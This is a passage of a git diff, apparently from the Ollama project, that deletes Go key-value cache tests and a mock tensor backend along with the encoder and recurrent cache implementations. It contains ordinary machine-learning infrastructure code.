2}, - seqs: []int{1, 1}, - pos: []int32{0, 1}, - expected: []float32{5, 6}, - expectedShape: []int{1, 1, 2}, - expectedMask: []float32{ - 0, x, - 0, 0, - }, - }, - { - name: "Second seq 1", - in: []float32{7, 8}, - inShape: []int{1, 1, 2}, - seqs: []int{1, 1}, - pos: []int32{2, 3}, - expected: []float32{6, 3, 4, 7, 8}, - expectedShape: []int{1, 1, 5}, - expectedMask: []float32{ - 0, x, x, 0, x, - x, x, x, 0, 0, - }, - }, - { - name: "Third seq 0", - in: []float32{9, 10}, - inShape: []int{1, 1, 2}, - seqs: []int{0, 0}, - pos: []int32{4, 5}, - expected: []float32{9, 10, 3, 4}, - expectedShape: []int{1, 1, 4}, - expectedMask: []float32{ - 0, x, x, 0, - 0, 0, x, x, - }, - }, - } - - testCache(t, backend, cache, tests) - }) -} - -func TestSWAMem(t *testing.T) { - runPermutedVariants(t, func(t *testing.T, backend *testBackend) { - cache := NewSWAMemCache(1, 3, nil) - defer cache.Close() - - cache.Init(backend, ml.DTypeF16, 1, 16, 16) - - x := float32(math.Inf(-1)) - - tests := []testCase{ - { - name: "FirstBatch", - in: []float32{1, 2, 3, 4}, - inShape: []int{1, 1, 4}, - seqs: []int{0, 0, 0, 0}, - pos: []int32{0, 1, 2, 3}, - expected: []float32{1, 2, 3, 4}, - expectedShape: []int{1, 1, 4}, - expectedMask: []float32{ - 0, x, x, x, - 0, 0, x, x, - x, 0, 0, x, - x, x, 0, 0, - }, - }, - { - name: "SecondBatch", - in: []float32{5, 6}, - inShape: []int{1, 1, 2}, - seqs: []int{0, 0}, - pos: []int32{4, 5}, - expected: []float32{5, 2, 3, 4, 6}, - expectedShape: []int{1, 1, 5}, - expectedMask: []float32{ - 0, x, x, 0, x, - 0, x, x, x, 0, - }, - }, - } - - testCache(t, backend, cache, tests) - }) -} - -func TestChunkedAttention(t *testing.T) { - runPermutedVariants(t, func(t *testing.T, backend *testBackend) { - cache := NewChunkedAttentionCache(2, nil) - defer cache.Close() - - cache.Init(backend, ml.DTypeF16, 1, 16, 16) - - x := float32(math.Inf(-1)) - - testCache( - t, backend, cache, - []testCase{ - { - name: "FirstBatch", - in: []float32{1, 2, 3, 4}, - inShape: []int{1, 1, 4}, - seqs: []int{0, 0, 0, 0}, - pos: []int32{0, 1, 2, 3}, - expected: []float32{1, 2, 3, 4}, - expectedShape: []int{1, 1, 4}, - expectedMask: []float32{ - 0, x, x, x, - 0, 0, x, x, - x, x, 0, x, - x, x, 0, 0, - }, - }, - { - name: "SecondBatch", - in: []float32{5, 6, 7}, - inShape: []int{1, 1, 3}, - seqs: []int{0, 0, 0}, - pos: []int32{4, 5, 6}, - expected: []float32{1, 2, 3, 4, 5, 6, 7}, - expectedShape: []int{1, 1, 7}, - expectedMask: []float32{ - x, x, x, x, 0, x, x, - x, x, x, x, 0, 0, x, - x, x, x, x, x, x, 0, - }, - }, - { - name: "ThirdBatch", - in: []float32{8, 9}, - inShape: []int{1, 1, 2}, - seqs: []int{0, 0}, - pos: []int32{7, 8}, - expected: []float32{1, 2, 3, 4, 5, 6, 7, 8, 9}, - expectedShape: []int{1, 1, 9}, - expectedMask: []float32{ - x, x, x, x, x, x, 0, 0, x, - x, x, x, x, x, x, x, x, 0, - }, - }, - }, - ) - }) -} - -func TestSequences(t *testing.T) { - runPermutedVariants(t, func(t *testing.T, backend *testBackend) { - cache := NewCausalCache(nil) - defer cache.Close() - - cache.Init(backend, ml.DTypeF16, 1, 16, 16) - - tests := []testCase{ - { - name: "FirstBatch", - in: []float32{1, 2, 3, 4}, - inShape: []int{1, 1, 4}, - seqs: []int{0, 0, 1, 1}, - pos: []int32{0, 1, 0, 1}, - expected: []float32{1, 2, 3, 4}, - expectedShape: []int{1, 1, 4}, - expectedMask: []float32{0, float32(math.Inf(-1)), float32(math.Inf(-1)), float32(math.Inf(-1)), 0, 0, float32(math.Inf(-1)), float32(math.Inf(-1)), float32(math.Inf(-1)), float32(math.Inf(-1)), 0, float32(math.Inf(-1)), float32(math.Inf(-1)), float32(math.Inf(-1)), 0, 0}, - }, - { - name: "SecondBatch", - in: []float32{5, 6}, - inShape: []int{1, 1, 2}, - seqs: []int{0, 1}, - pos: []int32{2, 2}, - expected: []float32{1, 2, 3, 4, 5, 6}, - expectedShape: []int{1, 1, 6}, - expectedMask: []float32{0, 0, float32(math.Inf(-1)), float32(math.Inf(-1)), 0, float32(math.Inf(-1)), float32(math.Inf(-1)), float32(math.Inf(-1)), 0, 0, float32(math.Inf(-1)), 0}, - }, - } - - testCache(t, backend, cache, tests) - }) -} - -func TestRemove(t *testing.T) { - runPermutedVariants(t, func(t *testing.T, backend *testBackend) { - cache := NewCausalCache(func(ctx ml.Context, layer int, key, shift ml.Tensor) (ml.Tensor, error) { - return key.Add(ctx, shift), nil - }) - defer cache.Close() - - cache.Init(backend, ml.DTypeF16, 1, 16, 16) - - x := float32(math.Inf(-1)) - - tests := []testCase{ - { - name: "FirstBatch", - in: []float32{1, 2, 3, 4}, - inShape: []int{1, 1, 4}, - seqs: []int{0, 0, 1, 1}, - pos: []int32{0, 1, 0, 1}, - expected: []float32{1, 2, 3, 4}, - expectedShape: []int{1, 1, 4}, - expectedMask: []float32{ - 0, x, x, x, - 0, 0, x, x, - x, x, 0, x, - x, x, 0, 0, - }, - }, - } - - testCache(t, backend, cache, tests) - - err := cache.Remove(0, 1, math.MaxInt32) - if err != nil { - panic(err) - } - - tests = []testCase{ - { - name: "RemoveEnd", - in: []float32{5, 6}, - inShape: []int{1, 1, 2}, - seqs: []int{0, 1}, - pos: []int32{1, 2}, - expected: []float32{1, 5, 3, 4, 6}, - expectedShape: []int{1, 1, 5}, - expectedMask: []float32{ - 0, 0, x, x, x, - x, x, 0, 0, 0, - }, - }, - } - - testCache(t, backend, cache, tests) - - err = cache.Remove(0, 0, 1) - if err != nil { - panic(err) - } - - tests = []testCase{ - { - name: "RemoveMiddle", - in: []float32{7, 8}, - inShape: []int{1, 1, 2}, - seqs: []int{0, 0}, - pos: []int32{1, 2}, - expected: []float32{7, 4, 3, 4, 6, 8}, - expectedShape: []int{1, 1, 6}, - expectedMask: []float32{ - 0, 0, x, x, x, x, - 0, 0, x, x, x, 0, - }, - }, - } - - testCache(t, backend, cache, tests) - }) -} - -func TestCopy(t *testing.T) { - runPermutedVariants(t, func(t *testing.T, backend *testBackend) { - cache := NewCausalCache(func(ctx ml.Context, layer int, key, shift ml.Tensor) (ml.Tensor, error) { return key, nil }) - defer cache.Close() - - cache.Init(backend, ml.DTypeF16, 1, 16, 16) - - tests := []testCase{ - { - name: "FirstBatch", - in: []float32{1, 2, 3, 4}, - inShape: []int{1, 1, 4}, - seqs: []int{0, 0, 0, 0}, - pos: []int32{0, 1, 2, 3}, - expected: []float32{1, 2, 3, 4}, - expectedShape: []int{1, 1, 4}, - expectedMask: []float32{0, float32(math.Inf(-1)), float32(math.Inf(-1)), float32(math.Inf(-1)), 0, 0, float32(math.Inf(-1)), float32(math.Inf(-1)), 0, 0, 0, float32(math.Inf(-1)), 0, 0, 0, 0}, - }, - } - - testCache(t, backend, cache, tests) - - cache.CopyPrefix(0, 1, 2) - - tests = []testCase{ - { - name: "Copy", - in: []float32{5, 6}, - inShape: []int{1, 1, 2}, - seqs: []int{1, 1}, - pos: []int32{3, 4}, - expected: []float32{1, 2, 3, 4, 5, 6}, - expectedShape: []int{1, 1, 6}, - expectedMask: []float32{0, 0, float32(math.Inf(-1)), float32(math.Inf(-1)), 0, float32(math.Inf(-1)), 0, 0, float32(math.Inf(-1)), float32(math.Inf(-1)), 0, 0}, - }, - } - - testCache(t, backend, cache, tests) - }) -} - -func testCache(t *testing.T, backend ml.Backend, cache Cache, tests []testCase) { - for _, test := range tests { - t.Run(test.name, func(t *testing.T) { - context := backend.NewContext() - defer context.Close() - - err := cache.StartForward(context, input.Batch{Positions: test.pos, Sequences: test.seqs}, false) - if err != nil { - panic(err) - } - - cache.SetLayer(0) - tensor := context.FromFloats(test.in, test.inShape...) - cache.Put(context, tensor, tensor) - - out, _, mask := cache.Get(context) - - context.Forward(out, mask).Compute(out, mask) - - if !slices.Equal(out.Floats(), test.expected) { - t.Errorf("TestCache: have %v; want %v", out.Floats(), test.expected) - } - - if !slices.Equal(out.Shape(), test.expectedShape) { - t.Errorf("TestCache: has shape %v; want %v", out.Shape(), test.expectedShape) - } - - if !slices.Equal(mask.Floats(), test.expectedMask) { - t.Errorf("TestCache: have mask: have %v want %v", mask.Floats(), test.expectedMask) - } - }) - } -} - -func TestCanResume(t *testing.T) { - runPermutedVariants(t, func(t *testing.T, backend *testBackend) { - windowSize := int32(4) - cache := NewSWACache(windowSize, nil) - defer cache.Close() - - cache.Init(backend, ml.DTypeF16, 1, 16, 16) - - context := backend.NewContext() - defer context.Close() - - err := cache.StartForward(context, input.Batch{ - Positions: []int32{0, 1, 2, 3, 4}, - Sequences: []int{0, 0, 0, 0, 0}, - }, false) - if err != nil { - t.Fatalf("StartForward failed: %v", err) - } - - cache.SetLayer(0) - tensor := context.FromFloats([]float32{1, 2, 3, 4, 5}, 1, 1, 5) - cache.Put(context, tensor, tensor) - - // with window size 4, nothing has slid out of the window yet - if !cache.CanResume(0, 0) { - t.Errorf("CanResume(0, 0) = false, want true (within window)") - } - if !cache.CanResume(0, 1) { - t.Errorf("CanResume(0, 1) = false, want true (within window)") - } - if !cache.CanResume(0, 2) { - t.Errorf("CanResume(0, 2) = false, want true (within window)") - } - if !cache.CanResume(0, 3) { - t.Errorf("CanResume(0, 3) = false, want true (latest position)") - } - if !cache.CanResume(0, 4) { - t.Errorf("CanResume(0, 4) = false, want true (latest position)") - } - - // shift window by adding position 5 - err = cache.StartForward(context, input.Batch{ - Positions: []int32{5}, - Sequences: []int{0}, - }, false) - if err != nil { - t.Fatalf("StartForward failed: %v", err) - } - - cache.SetLayer(0) - tensor = context.FromFloats([]float32{6}, 1, 1, 1) - cache.Put(context, tensor, tensor) - - // only the latest position has overlapping windows - if cache.CanResume(0, 0) { - t.Errorf("after shift: CanResume(0, 0) = true, want false (outside window)") - } - if cache.CanResume(0, 1) { - t.Errorf("after shift: CanResume(0, 1) = true, want false (outside window)") - } - if cache.CanResume(0, 2) { - t.Errorf("after shift: CanResume(0, 2) = true, want false (outside window)") - } - if cache.CanResume(0, 3) { - t.Errorf("after shift: CanResume(0, 3) = true, want false (outside window)") - } - if cache.CanResume(0, 4) { - t.Errorf("after shift: CanResume(0, 4) = true, want false (outside window)") - } - if !cache.CanResume(0, 5) { - t.Errorf("after shift: CanResume(0, 5) = false, want true (latest position)") - } - }) -} - -func TestCanResumeSWAMem(t *testing.T) { - runPermutedVariants(t, func(t *testing.T, backend *testBackend) { - windowSize := int32(4) - memSize := int32(5) - cache := NewSWAMemCache(windowSize, memSize, nil) - defer cache.Close() - - cache.Init(backend, ml.DTypeF16, 1, 16, 16) - - context := backend.NewContext() - defer context.Close() - - err := cache.StartForward(context, input.Batch{ - Positions: []int32{0, 1, 2, 3, 4, 5, 6}, - Sequences: []int{0, 0, 0, 0, 0, 0, 0}, - }, false) - if err != nil { - t.Fatalf("StartForward failed: %v", err) - } - - cache.SetLayer(0) - tensor := context.FromFloats([]float32{1, 2, 3, 4, 5, 6, 7}, 1, 1, 7) - cache.Put(context, tensor, tensor) - - // shift window by adding position 7 - err = cache.StartForward(context, input.Batch{ - Positions: []int32{7}, - Sequences: []int{0}, - }, false) - if err != nil { - t.Fatalf("StartForward failed: %v", err) - } - - cache.SetLayer(0) - tensor = context.FromFloats([]float32{8}, 1, 1, 1) - cache.Put(context, tensor, tensor) - - // only the latest position has overlapping windows - if cache.CanResume(0, 0) { - t.Errorf("after shift: CanResume(0, 0) = true, want false (outside window)") - } - if cache.CanResume(0, 1) { - t.Errorf("after shift: CanResume(0, 1) = true, want false (outside window)") - } - if cache.CanResume(0, 2) { - t.Errorf("after shift: CanResume(0, 2) = true, want false (outside window)") - } - if cache.CanResume(0, 3) { - t.Errorf("after shift: CanResume(0, 3) = true, want false (outside window)") - } - if cache.CanResume(0, 4) { - t.Errorf("after shift: CanResume(0, 4) = true, want false (outside window)") - } - if cache.CanResume(0, 5) { - t.Errorf("after shift: CanResume(0, 5) = true, want false (outside window)") - } - if !cache.CanResume(0, 6) { - t.Errorf("after shift: CanResume(0, 6) = false, want true (inside window)") - } - if !cache.CanResume(0, 7) { - t.Errorf("after shift: CanResume(0, 7) = false, want true (latest position)") - } - }) -} - -type testBackend struct { - ml.Backend - permutedV bool -} - -func (b *testBackend) NewContext() ml.Context { - return &testContext{} -} - -func (b *testBackend) NewContextSize(int) ml.Context { - return &testContext{} -} - -func (b *testBackend) CacheConfig() ml.CacheConfig { - return ml.CacheConfig{PermutedV: b.permutedV} -} - -type testContext struct { - ml.Context -} - -func (c *testContext) Empty(dtype ml.DType, shape ...int) ml.Tensor { - total := 0 - - if len(shape) > 0 { - total = 1 - for _, s := range shape { - total *= s - } - } - - return &testTensor{dtype: dtype, elementSize: 4, data: make([]float32, total), shape: shape} -} - -func (c *testContext) Zeros(dtype ml.DType, shape ...int) ml.Tensor { - return c.Empty(dtype, shape...) -} - -func (c *testContext) FromFloats(s []float32, shape ...int) ml.Tensor { - t := c.Empty(ml.DTypeF32, shape...).(*testTensor) - - copy(t.data, s) - - return t -} - -func (c *testContext) FromInts(s []int32, shape ...int) ml.Tensor { - f := make([]float32, len(s)) - for i := range f { - f[i] = float32(s[i]) - } - - out := c.FromFloats(f, shape...) - out.(*testTensor).dtype = ml.DTypeI32 - - return out -} - -func (c *testContext) Arange(start, stop, step float32, dtype ml.DType) ml.Tensor { - s := make([]float32, 0, int((stop-start)/step)) - for i := start; i < stop; i += step { - s = append(s, i) - } - - out := c.FromFloats(s, len(s)) - out.(*testTensor).dtype = dtype - return out -} - -func (c *testContext) Input() ml.Context { return c } -func (c *testContext) Layer(int) ml.Context { return c } - -func (c *testContext) Forward(...ml.Tensor) ml.Context { return c } - -func (c *testContext) Compute(...ml.Tensor) {} - -func (c *testContext) Reserve() {} - -func (c *testContext) MaxGraphNodes() int { - return 10 -} - -func (c *testContext) Close() {} - -type testTensor struct { - ml.Tensor - - dtype ml.DType - elementSize int - data []float32 - shape []int -} - -func (t *testTensor) Dim(n int) int { - return t.shape[n] -} - -func (t *testTensor) Stride(n int) int { - stride := t.elementSize - for i := range n { - stride *= t.shape[i] - } - - return stride -} - -func (t *testTensor) Shape() []int { - return t.shape -} - -func (t *testTensor) DType() ml.DType { - return t.dtype -} - -func (t *testTensor) Floats() []float32 { - out := make([]float32, len(t.data)) - copy(out, t.data) - return out -} - -func (t *testTensor) Neg(ctx ml.Context) ml.Tensor { - out := ctx.Empty(t.DType(), t.Shape()...).(*testTensor) - for i := range out.data { - out.data[i] = -t.data[i] - } - return out -} - -func (t *testTensor) Add(ctx ml.Context, t2 ml.Tensor) ml.Tensor { - out := ctx.Empty(t.DType(), t.Shape()...).(*testTensor) - - for i := range out.data { - out.data[i] = t.data[i] + t2.(*testTensor).data[i] - } - - return out -} - -func (t *testTensor) Reshape(ctx ml.Context, shape ...int) ml.Tensor { - return &testTensor{ - dtype: t.dtype, - elementSize: t.elementSize, - data: t.data, - shape: shape, - } -} - -func (t *testTensor) View(ctx ml.Context, offset int, shape ...int) ml.Tensor { - offset /= t.elementSize - - var s []int - - switch len(shape) { - case 1: - s = []int{shape[0]} - case 3: - s = []int{shape[0], shape[2]} - case 5: - s = []int{shape[0], shape[2], shape[4]} - default: - panic("unsupported number of dimensions") - } - - context := &testContext{} - - view := context.Empty(t.dtype, s...).(*testTensor) - view.data = t.data[offset : offset+len(view.data)] - - return view -} - -func (t *testTensor) Permute(ctx ml.Context, order ...int) ml.Tensor { - if len(t.shape) > 4 || len(order) > 4 { - panic("permute only supports up to 4 dimensions") - } - - if len(order) != len(t.shape) && len(order) != 4 { - panic("invalid number of dimensions for permute") - } - - // ggml_permute expects 4 axes, so fill in any missing dimensions. - orderFull := append(make([]int, 0, 4), order...) - for len(orderFull) < 4 { - orderFull = append(orderFull, len(orderFull)) - } - - seen := [4]bool{} - - shape4 := [4]int{1, 1, 1, 1} - for i := 0; i < len(t.shape) && i < 4; i++ { - shape4[i] = t.shape[i] - } - - newShape4 := [4]int{1, 1, 1, 1} - for axis := range 4 { - dst := orderFull[axis] - if dst < 0 || dst >= 4 { - panic("invalid axis for permute") - } - if seen[dst] { - panic("duplicate axis for permute") - } - seen[dst] = true - newShape4[dst] = shape4[axis] - } - - total := len(t.data) - newData := make([]float32, total) - - if total > 0 { - oldDims := shape4 - newDims := newShape4 - - oldStride := [4]int{1, 1, 1, 1} - newStride := [4]int{1, 1, 1, 1} - for i := 1; i < 4; i++ { - oldStride[i] = oldStride[i-1] * oldDims[i-1] - newStride[i] = newStride[i-1] * newDims[i-1] - } - - var coords [4]int - var newCoords [4]int - - for idx := range total { - remainder := idx - for axis := range 4 { - dim := oldDims[axis] - if dim == 0 { - coords[axis] = 0 - continue - } - coords[axis] = remainder % dim - remainder /= dim - } - - for axis := range 4 { - newCoords[orderFull[axis]] = coords[axis] - } - - newIndex := 0 - for axis := range 4 { - if newDims[axis] == 0 { - continue - } - newIndex += newCoords[axis] * newStride[axis] - } - - newData[newIndex] = t.data[idx] - } - } - - numDims := 4 - for numDims > 1 && newShape4[numDims-1] <= 1 { - numDims-- - } - - newShape := make([]int, numDims) - copy(newShape, newShape4[:numDims]) - - return &testTensor{ - dtype: t.dtype, - elementSize: t.elementSize, - data: newData, - shape: newShape, - } -} - -func (t *testTensor) SetRows(ctx ml.Context, src ml.Tensor, idxs ml.Tensor) ml.Tensor { - dst := t - srcTensor := src.(*testTensor) - idxTensor := idxs.(*testTensor) - - shapeTo4D := func(shape []int) [4]int { - out := [4]int{1, 1, 1, 1} - for i := 0; i < len(shape) && i < 4; i++ { - out[i] = shape[i] - } - return out - } - - computeStrides := func(shape [4]int) [4]int { - out := [4]int{1, 1, 1, 1} - for i := 1; i < 4; i++ { - out[i] = out[i-1] * shape[i-1] - } - return out - } - - dstShape4D := shapeTo4D(dst.shape) - srcShape4D := shapeTo4D(srcTensor.shape) - idxShape4D := shapeTo4D(idxTensor.shape) - - if dstShape4D[0] != srcShape4D[0] || dstShape4D[2] != srcShape4D[2] || dstShape4D[3] != srcShape4D[3] { - panic("SetRows requires matching tensor shapes") - } - - if srcShape4D[1] != idxShape4D[0] { - panic("SetRows rows/index mismatch") - } - - if srcShape4D[2]%idxShape4D[1] != 0 || srcShape4D[3]%idxShape4D[2] != 0 { - panic("SetRows cannot broadcast indices") - } - - if idxShape4D[3] != 1 { - panic("SetRows expects 1D or 2D index tensors") - } - - dstStride := computeStrides(dstShape4D) - srcStride := computeStrides(srcShape4D) - idxStride := computeStrides(idxShape4D) - - numColumns := srcShape4D[0] - numRows := srcShape4D[1] - - for dim3Index := range dstShape4D[3] { - for dim2Index := range dstShape4D[2] { - idxDim2 := 0 - idxDim3 := 0 - if idxShape4D[1] > 0 { - idxDim2 = dim2Index % idxShape4D[1] - } - if idxShape4D[2] > 0 { - idxDim3 = dim3Index % idxShape4D[2] - } - - idxBase := idxDim3*idxStride[2] + idxDim2*idxStride[1] - srcBase := dim3Index*srcStride[3] + dim2Index*srcStride[2] - dstBase := dim3Index*dstStride[3] + dim2Index*dstStride[2] - - for row := range numRows { - idx := int(idxTensor.data[idxBase+row*idxStride[0]]) - if idx < 0 || idx >= dstShape4D[1] { - panic("SetRows index out of range") - } - - srcOffset := srcBase + row*srcStride[1] - dstOffset := dstBase + idx*dstStride[1] - - copy(dst.data[dstOffset:dstOffset+numColumns], srcTensor.data[srcOffset:srcOffset+numColumns]) - } - } - } - - return dst -} - -func (t *testTensor) Copy(ctx ml.Context, t2 ml.Tensor) ml.Tensor { - copy(t2.(*testTensor).data, t.data) - return nil -} diff --git a/kvcache/encoder.go b/kvcache/encoder.go deleted file mode 100644 index 0f269c3ee..000000000 --- a/kvcache/encoder.go +++ /dev/null @@ -1,156 +0,0 @@ -package kvcache - -import ( - "fmt" - - "github.com/ollama/ollama/ml" - "github.com/ollama/ollama/model/input" -) - -// Encoder cache stores K and V tensors that are position independent -// -// The tensors can be of any shape and will be returned as they were stored -// The mask is currently always nil -// -// Not currently safe for multiple sequences -type EncoderCache struct { - // config controls mostly backend-specific optimizations - config *ml.CacheConfig - - // ** current forward pass ** - - // the active layer for Get and Put - curLayer int - - // if something is stored during this pass, this - // will be the position (but there is no guarantee - // anything will be stored) - curPos int32 - - // curReserve indicates that this forward pass is only for - // memory reservation and we should not update our metadata - // based on it. - curReserve bool - - // ** cache metadata ** - - // was something stored in the cache? - encoderCached bool - - // position of the cached data - encoderPos int32 - - // ** cache data storage ** - backend ml.Backend - ctxs map[int]ml.Context - keys, values map[int]ml.Tensor -} - -func NewEncoderCache() *EncoderCache { - return &EncoderCache{ - ctxs: make(map[int]ml.Context), - keys: make(map[int]ml.Tensor), - values: make(map[int]ml.Tensor), - } -} - -func (c *EncoderCache) Init(backend ml.Backend, dtype ml.DType, maxSequences, capacity, maxBatch int) { - if c.config == nil { - var config ml.CacheConfig - if cc, ok := backend.(ml.BackendCacheConfig); ok { - config = cc.CacheConfig() - } - c.config = &config - } - - if maxSequences > 1 { - panic(fmt.Errorf("encoder cache does not support multiple sequences; requested: %v", maxSequences)) - } - - if c.config.CachePadding != 0 && c.config.CachePadding != 1 { - panic(fmt.Errorf("encoder cache is unable to enforce requested CachePadding (%v)", c.config.CachePadding)) - } - - c.backend = backend -} - -func (c *EncoderCache) SetConfig(config ml.CacheConfig) { - if c.config != nil { - panic("config cannot be changed after being previously set, either by the model or backend") - } - - c.config = &config -} - -func (c *EncoderCache) Close() { - for _, ctx := range c.ctxs { - ctx.Close() - } -} - -func (c *EncoderCache) StartForward(ctx ml.Context, batch input.Batch, reserve bool) error { - // We work with the most recent image - if len(batch.Multimodal) > 0 { - c.curPos = batch.Positions[batch.Multimodal[len(batch.Multimodal)-1].Index] - } - - c.curReserve = reserve - - return nil -} - -func (c *EncoderCache) SetLayer(layer int) { - c.curLayer = layer -} - -func (c *EncoderCache) EncoderCached() bool { - return c.encoderCached -} - -func (c *EncoderCache) Get(ctx ml.Context) (ml.Tensor, ml.Tensor, ml.Tensor) { - return c.keys[c.curLayer], c.values[c.curLayer], nil -} - -func (c *EncoderCache) Put(ctx ml.Context, key, value ml.Tensor) { - if !c.curReserve { - c.encoderPos = c.curPos - c.encoderCached = true - } - - if c.config.PermutedV { - value = value.Permute(ctx, 1, 2, 0, 3) - } - - if _, ok := c.ctxs[c.curLayer]; !ok { - c.ctxs[c.curLayer] = c.backend.NewContextSize(2).Layer(c.curLayer) - } - - if _, ok := c.keys[c.curLayer]; !ok { - c.keys[c.curLayer] = c.ctxs[c.curLayer].Empty(key.DType(), key.Shape()...) - } - - if _, ok := c.values[c.curLayer]; !ok { - c.values[c.curLayer] = c.ctxs[c.curLayer].Empty(value.DType(), value.Shape()...) - } - - ctx.Forward( - key.Copy(ctx, c.keys[c.curLayer]), - value.Copy(ctx, c.values[c.curLayer]), - ) -} - -func (c *EncoderCache) CopyPrefix(srcSeq, dstSeq int, len int32) { - panic("encoder cache does not support multiple sequences") -} - -func (c *EncoderCache) CanResume(seq int, pos int32) bool { - return true -} - -func (c *EncoderCache) Remove(seq int, beginIndex, endIndex int32) error { - if c.encoderPos >= beginIndex && c.encoderPos < endIndex { - c.encoderCached = false - } - - return nil -} diff --git a/kvcache/recurrent.go b/kvcache/recurrent.go deleted file mode 100644 index be2e7469f..000000000 --- a/kvcache/recurrent.go +++ /dev/null @@ -1,752 +0,0 @@ -package kvcache - -import ( - "errors" - "fmt" - "math" - "slices" - - "github.com/ollama/ollama/ml" - "github.com/ollama/ollama/model/input" -) - -const ( - DefaultCheckpointCount = 24 - DefaultCheckpointMinPos = int32(16) - DefaultCheckpointInterval = int32(1664) -) - -var ErrInvalidRecurrentShape = errors.New("kvcache: invalid recurrent state shape") - -// Config configures a shared hybrid recurrent cache. -type RecurrentConfig struct { - Shift func(ctx ml.Context, layer int, key, shift ml.Tensor) (ml.Tensor, error) - ConvDim int - ConvChannels int - RecurrentStateSize int - CheckpointLogPrefix string -} - -var ( - _ Cache = (*Recurrent)(nil) - _ CheckpointCache = (*Recurrent)(nil) -) - -// Cache stores: -// - a standard causal KV cache -// - per-sequence conv state for recurrent operators -// - per-sequence recurrent state for recurrent operators -// -// Conv state shape (per layer, per sequence): [convDim, convChannels] -// Recurrent state shape (per layer, per sequence): [recurrentStateSize] -type Recurrent struct { - kv *Causal - - backend ml.Backend - dtype ml.DType - maxSequences int - - // Conv state dimensions - convDim int - convChannels int - - // Recurrent state dimensions - recurrentStateSize int - - logPrefix string - - // slot mapping for recurrent state (copy-on-write) - slotForSeq map[int]int - refCount []int - freeSlots []int - seqCounts map[int]int - slotScratch [1]int32 - - // per-layer conv state buffers (allocated lazily) - convCtxs map[int]ml.Context - convStates map[int]ml.Tensor // [convDim*convChannels, maxSlots] - - // per-layer recurrent state buffers (allocated lazily) - recurrentCtxs map[int]ml.Context - recurrentStates map[int]ml.Tensor // [recurrentStateSize, maxSlots] - - // recurrent checkpoints (per slot) - checkpointCount int - checkpointMinPos int32 - checkpointInterval int32 - checkpointCtxSize int - checkpoints map[int]*slotCheckpointStore - pendingRestore map[int]checkpointRestore - curCheckpointPos []int32 - curCheckpointSlots map[int]int - reserveCheckpoints bool - checkpointConvCtxs map[int]ml.Context - checkpointRecurCtxs map[int]ml.Context - checkpointReserved map[int]struct{} - - // current forward batch (derived in StartForward) - curSeqs []int - curSlots []int - curSlotsInput ml.Tensor - curSeqTokens int - - // track if EnsureWritable has been called for this forward pass - writableEnsured bool - writableError error -} - -func NewRecurrentCache(config RecurrentConfig) *Recurrent { - return &Recurrent{ - kv: NewCausalCache(config.Shift), - convDim: config.ConvDim, - convChannels: config.ConvChannels, - recurrentStateSize: config.RecurrentStateSize, - logPrefix: config.CheckpointLogPrefix, - slotForSeq: make(map[int]int), - seqCounts: make(map[int]int), - convCtxs: make(map[int]ml.Context), - convStates: make(map[int]ml.Tensor), - recurrentCtxs: make(map[int]ml.Context), - recurrentStates: make(map[int]ml.Tensor), - checkpointCount: DefaultCheckpointCount, - checkpointMinPos: DefaultCheckpointMinPos, - checkpointInterval: DefaultCheckpointInterval, - checkpoints: make(map[int]*slotCheckpointStore), - pendingRestore: make(map[int]checkpointRestore), - curCheckpointSlots: make(map[int]int), - checkpointConvCtxs: make(map[int]ml.Context), - checkpointRecurCtxs: make(map[int]ml.Context), - checkpointReserved: make(map[int]struct{}), - } -} - -func (c *Recurrent) Init(backend ml.Backend, dtype ml.DType, maxSequences, capacity, maxBatch int) { - c.backend = backend - c.dtype = dtype - c.maxSequences = maxSequences - c.checkpoints = make(map[int]*slotCheckpointStore) - c.pendingRestore = make(map[int]checkpointRestore) - c.curCheckpointPos = c.curCheckpointPos[:0] - c.curCheckpointSlots = make(map[int]int) - c.checkpointReserved = make(map[int]struct{}) - c.checkpointCtxSize = c.checkpointCount * c.maxSequences - if c.checkpointCtxSize < 8 { - c.checkpointCtxSize = 8 - } - - // initialize slot allocator - c.refCount = make([]int, maxSequences) - c.freeSlots = c.freeSlots[:0] - for i := maxSequences - 1; i >= 0; i-- { - c.freeSlots = append(c.freeSlots, i) - } - - c.kv.Init(backend, dtype, maxSequences, capacity, maxBatch) -} - -func (c *Recurrent) Close() { - for _, ctx := range c.convCtxs { - ctx.Close() - } - for _, ctx := range c.recurrentCtxs { - ctx.Close() - } - for _, ctx := range c.checkpointConvCtxs { - ctx.Close() - } - for _, ctx := range c.checkpointRecurCtxs { - ctx.Close() - } - c.kv.Close() -} - -func (c *Recurrent) SetConfig(config ml.CacheConfig) { - c.kv.SetConfig(config) -} - -func (c *Recurrent) SetLayer(layer int) { - c.kv.SetLayer(layer) -} - -func (c *Recurrent) Get(ctx ml.Context) (ml.Tensor, ml.Tensor, ml.Tensor) { - return c.kv.Get(ctx) -} - -func (c *Recurrent) Put(ctx ml.Context, key, value ml.Tensor) { - c.kv.Put(ctx, key, value) -} - -func (c *Recurrent) StartForward(ctx ml.Context, batch input.Batch, reserve bool) error { - if err := c.kv.StartForward(ctx, batch, reserve); err != nil { - return err - } - - nTokens := len(batch.Sequences) - if nTokens == 0 { - c.curSeqs = c.curSeqs[:0] - c.curSlots = c.curSlots[:0] - c.curSlotsInput = nil - c.curSeqTokens = 0 - c.reserveCheckpoints = false - c.writableEnsured = false - c.writableError = nil - return nil - } - - // Fast path for single-sequence batches (common during decode and prefill). - firstSeq := batch.Sequences[0] - singleSeq := true - for _, s := range batch.Sequences[1:] { - if s != firstSeq { - singleSeq = false - break - } - } - if singleSeq { - return c.startForwardSingleSeq(ctx, firstSeq, nTokens, batch, reserve) - } - - // Derive equal-length sequence layout for recurrent layers. - seqCounts := c.seqCounts - for s := range seqCounts { - delete(seqCounts, s) - } - - c.curSeqs = c.curSeqs[:0] - for _, s := range batch.Sequences { - if seqCounts[s] == 0 { - c.curSeqs = append(c.curSeqs, s) - } - seqCounts[s]++ - } - - nSeqs := len(c.curSeqs) - want := nTokens / nSeqs - for _, s := range c.curSeqs { - if seqCounts[s] != want { - return ErrNotSupported - } - } - - c.curSeqTokens = want - - if reserve { - c.curSlots = c.curSlots[:0] - for i := range nSeqs { - c.curSlots = append(c.curSlots, i) - } - c.finalizeStartForward(ctx, batch, true) - return nil - } - - // Ensure slots exist for sequences in this batch. - c.curSlots = c.curSlots[:0] - var newSlots []int - for _, s := range c.curSeqs { - slot, ok := c.slotForSeq[s] - if !ok { - var err error - slot, err = c.allocSlot() - if err != nil { - return err - } - c.slotForSeq[s] = slot - c.refCount[slot] = 1 - newSlots = append(newSlots, slot) - } - c.curSlots = 